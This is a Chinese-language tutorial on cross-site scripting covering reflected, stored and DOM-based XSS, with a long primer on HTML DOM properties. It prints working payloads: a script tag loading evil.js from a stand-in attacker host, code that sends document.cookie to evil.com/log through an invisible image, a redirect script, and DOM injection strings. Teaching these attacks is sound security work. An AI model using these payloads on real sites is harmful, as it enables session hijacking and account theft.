1.xss简介(js和html都是用来写前端)
跨站脚本攻击,英文全称(Cross Site Script),本来的缩写CSS,与层叠样式表CSS相同,为了区分在安全界把它称为XSS。
XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入恶意的脚本,从而在用户浏览网页时,控制浏览器的一种攻击。XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强,且产生的场景复杂,难以一次性解决。
2.反射型XSS(非持久型Non—persistent XSS)
假设某个页面
<?php | |
$input=$_GET["param"]; | |
echo "<div>".$input."</div>"; ?> |
正常情况下,用户向param提交的数据会展示到页面中,但是如果在url中插入 <script>alert(/xss/)</script>
页面就会把该恶意代码插入,从而跳出一个框显示/XSS/。用户输入的Script脚本,已经被写入页面中。
2.1反射型XSS的利用(xss payload)
1.窃取Cookie
2.劫持流量
反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客需要诱使用户“点击”一个恶意链接,才能攻击成功。
如某存在反射型XSS的网站 http://www.a.com /test.htm?abc=">
攻击者主机为http://www.hack.com
当攻击者构造http://www.a.com /test.htm?abc="><script src=http://www.evil.com/evil.js></script>
当用户点击了这个链接后,会自动加载攻击主机中的evil.js,这样也避免了往url中写入大量的javascript
evil.js
var img=document.createElement("img")
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入一张看不见的图片,同时把document.cookie对象作为参数返回给远程服务器
事实上http://evil.com/log 不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录
这样就完成了一个简单的窃取Cookie的 XSS Payload,有了cookie就可以直接登录对方用户了。
而Cookie的"HttpOnly"标识可以防止 Cookie劫持。
关于流量劫持只要想办法插入
<script>window.location.href="http://www.baidu.com";</script>
这样你浏览的目标网站总会跳转到这个目标网站,新浪曾经爆出过XSS漏洞,攻击者在javaScript中加入了自动关注某一个微博号的恶意代码,从而可以使点击链接者自动关注该微博号。
3.存储型XSS(持久型Persistent XSS)
存储型XSS会把用户输入的数据“存储”在服务器。这种XSS具有很强的稳定性。
比较常见的一个场景就是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意脚本保存到服务器端,所有这种XSS攻击就叫做存储型XSS。
这里的关键在于浏览器是把恶意的JavaScript代码显示出来,还是解释并执行了该代码,如果是后者那么这个网站存在存储型XSS漏洞。
3.1存储型XSS的利用
1.窃取Cookie
2.流量劫持
同样,主要黑客在博客系统中写了一篇博文,并加入恶意代码同上,加载一个恶意脚本,恶意脚本的内容是将用户Cookie发送到事先设置好的服务器那么黑客就可以获取到该Cookie。
还可以把当前页面重定向到一个黑客自己制作的钓鱼网站,要求用户再次输入密码账号,将明文直接发送到事先设定好的服务器。
同样还可以,做到如上所说的关注某个微博等等。
4.DOM Bassed XSS(document object module 文件对象模型)
实际上,这种类型的XSS并非按照“数据是否保存在服务器”来划分,DOM Bassed XSS从效果上来说也是反射型XSS。单独划分是因为DOM Bassed XSS的形成原因比较特殊(有待我自己去探究)
首先要了解什么是DOM
DOM是W3C的标准,DOM定义了访问html和xml文档的标准。
DOM是独立于平台和语言,它允许程序和脚本动态地访问和更新文档的内容、结构和样式
什么是html DOM
html DOM 定义了所有HTML元素的对象和属性,以及访问它们的方法。
换言之,HTML DOM 是关于如何获取、修改、添加或删除HTML元素的标准
在HTML DOM中,所有事物都是节点。DOM是被视为节点树的HTML
实例
<html>
<head>
<title>DOM 教程</title>
</head>
<body>
<h1>DOM 第一课</h1>
<p>Hello world!</p>
</body>
</html>
- <html> 节点没有父节点;它是根节点
- <head> 和 <body> 的父节点是 <html> 节点
- 文本节点 "Hello world!" 的父节点是 <p> 节点
并且:
- <html> 节点拥有两个子节点:<head> 和 <body>
- <head> 节点拥有一个子节点:<title> 节点
- <title> 节点也拥有一个子节点:文本节点 "DOM 教程"
- <h1> 和 <p> 节点是同胞节点,同时也是 <body> 的子节点
并且:
- <head> 元素是 <html> 元素的首个子节点
- <body> 元素是 <html> 元素的最后一个子节点
- <h1> 元素是 <body> 元素的首个子节点
- <p> 元素是 <body> 元素的最后一个子节点
警告!
DOM 处理中的常见错误是希望元素节点包含文本。
在本例中:<title>DOM 教程</title>,元素节点 <title>,包含值为 "DOM 教程" 的文本节点。
可通过节点的 innerHTML 属性来访问文本节点的值。
您将在稍后的章节中学习更多有关 innerHTML 属性的知识
编程接口
因为DOM中所有HTML元素被定义为对象,因此可以通过JavaScript以及其他编程语言对HTML DOM进行访问,方法为能执行的操作(添加或修改元素),属性是能够获取或设置的值(比如节点的名称或内容)。
实例
<!DOCTYPE html>
<html>
<body>
<p id="intro">Hello World!</p>
<p>本例演示 <b>getElementById</b> 方法!</p>
<script>
x=document.getElementById("intro");
document.write("<p>来自 intro 段落的文本:" + x.innerHTML + "</p>");
</script>
</body>
</html>
通过getElementById()方法获取intro的值
结果
Hello World!
本例演示 getElementById 方法!
来自 intro 段落的文本:Hello World!
HTML DOM 允许 JavaScript 对 HTML 事件作出反应。
当事件发生时,可以执行 JavaScript,比如当用户点击一个 HTML 元素时。
如需在用户点击某个元素时执行代码,请把 JavaScript 代码添加到 HTML 事件属性中:(这里又可以涉及到在页面中插入图片,在图片中插入恶意链接)
总之DOM把HTML的所有节点看成是对象,以便JavaScript的调用
四个重要的DOM属性
innerHTML 属性
获取元素内容的最简单方法是使用 innerHTML 属性。
innerHTML 属性对于获取或替换 HTML 元素的内容很有用。
实例
<!DOCTYPE html>
<html>
<body>
<p id="intro">Hello World!</p>
<script>
var txt=document.getElementById("intro").innerHTML;
document.write(txt);
</script>
</body>
</html>
结果
Hello World!
Hello World!
在上面的例子中,getElementById 是一个方法,而 innerHTML 是属性。
innerHTML 属性可用于获取或改变任意 HTML 元素,包括 <html> 和 <body>。
nodeName 属性
nodeName 属性规定节点的名称。
- nodeName 是只读的
- 元素节点的 nodeName 与标签名相同
- 属性节点的 nodeName 与属性名相同
- 文本节点的 nodeName 始终是 #text
- 文档节点的 nodeName 始终是 #document
注释:nodeName 始终包含 HTML 元素的大写字母标签名。
实例
<!DOCTYPE html>
<html>
<body>
<p id="intro">Hello World!</p>
<script>
x=document.getElementById("intro");
document.write(x.firstChild.nodeName);
</script>
</body>
</html>
结果
Hello World!
#text
文本节点的nodeName始终是#text
nodeValue 属性
nodeValue 属性规定节点的值。
- 元素节点的 nodeValue 是 undefined 或 null
- 文本节点的 nodeValue 是文本本身
- 属性节点的 nodeValue 是属性值
实例
<!DOCTYPE html>
<html>
<body>
<p id="intro">Hello World!</p>
<script>
x=document.getElementById("intro");
document.write(x.firstChild.nodeValue);
</script>
</body>
</html>
结果
Hello World!
Hello World!
文本节点的nodeValue是文本本身
nodeType 属性
nodeType 属性返回节点的类型。nodeType 是只读的。
比较重要的节点类型有:
元素类型 | NodeType |
---|---|
元素 | 1 |
属性 | 2 |
文本 | 3 |
注释 | 8 |
文档 | 9 |
JS通常会通过调用DOM内置对象location来获得用户输入,如引用参数切分可使用location.search,引用完整URL可使用location.href等
至此DOM Based XSS 攻击实际上就是提交恶意的js代码修改了页面的DOM节点,有点类似于反射型xss.
也因此DOM Based XSS 也有存储型之分,而真正界定是不是DOM Based XSS 还有看是否改变了DOM节点
实例
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>Insert title here</title>
</head>
<script>
function test(){
var src = document.getElementById("text").value;
document.getElementById("a").innerHTML = "<a href='"+src+"'> testLink </a>";
}
</script>
<body>
<div id="a"></div>
<input type="text" id="text" value="" />
<input type="button" id="b" value="write" onclick="test()" />
</body>
</html>
输入 ' οnclick=alert('xss') //
会产生一个链接,点击链接就可以弹出对话框,这里第一个’是为了闭合href中的单引号,//是为了注释后面一个单引号,添加一个空白的链接,而点击该链接就产生一个对话框,这里就改变了DOM节点
输入'><img src=# οnerrοr=alert('xss') /> <'
直接把<a闭合掉,引入新节点<img,然后#为占位符号,表示没有图片
结果点击就会弹出一个对话框